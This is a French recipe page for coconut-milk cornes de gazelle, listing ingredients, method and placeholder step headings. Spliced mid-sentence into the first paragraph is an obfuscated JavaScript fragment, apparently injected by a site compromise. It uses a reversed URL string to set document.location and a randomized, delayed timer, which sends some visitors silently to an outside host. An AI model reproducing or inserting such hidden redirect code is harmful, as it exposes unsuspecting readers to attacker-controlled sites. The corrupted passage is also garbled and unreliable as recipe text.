Cornes de gazelle au lait de coco
2021-05-07- Cuisine : Biscuit
- Thématique : Végétarien
- Niveau : Difficile
Dans un saladier mélangez la farine, le sucre, la pincée de sel fin, incorporez peu à peu le lait gloria tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en mélangeant énergiquement ajoutez le beurre ramolli et obtenir une boule de pâte compacte.
Ingrédients
Dans un saladier mélangez la farine, le sucre, la pincée de sel fin, incorporez peu à peu le lait gloria tout en mélangeant énergiquement ajoutez le beurre ramolli et obtenir une boule de pâte compacte. Étalez avec un rouleau à pâtisserie la pâte, découpez des ronds de pâtes de 7 cm de diamètre et réservez.
Préparez la farce en battant les blancs d'œufs sans les amener à la neige, incorporez le sucre, les amandes effilées et la cannelle.
Étirez les ronds de pâte pour leurs donner une forme ovale. Déposez au centre 1 cuillère à soupe de farce. Soudez avec le jaune d'œuf, et refermez en pressant les bords tout en leur donnant une forme de corne.
Préchauffez le four à 150° C thermostat 5. Déposez les cornes de gazelle sur la plaque du four légèrement beurrée. Enfournez et faites cuire pendant 10 à 15 minutes.
Vérifiez la cuisson. Sortez-les du four. Les badigeonner avec l'eau de fleur d'oranger. Les rouler dans le sucre glace. Il est possible de les rouler dans des amandes effilées légèrement mouillées avant la cuisson pour les rendre plus festives.
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
Etape 13
Etape 14
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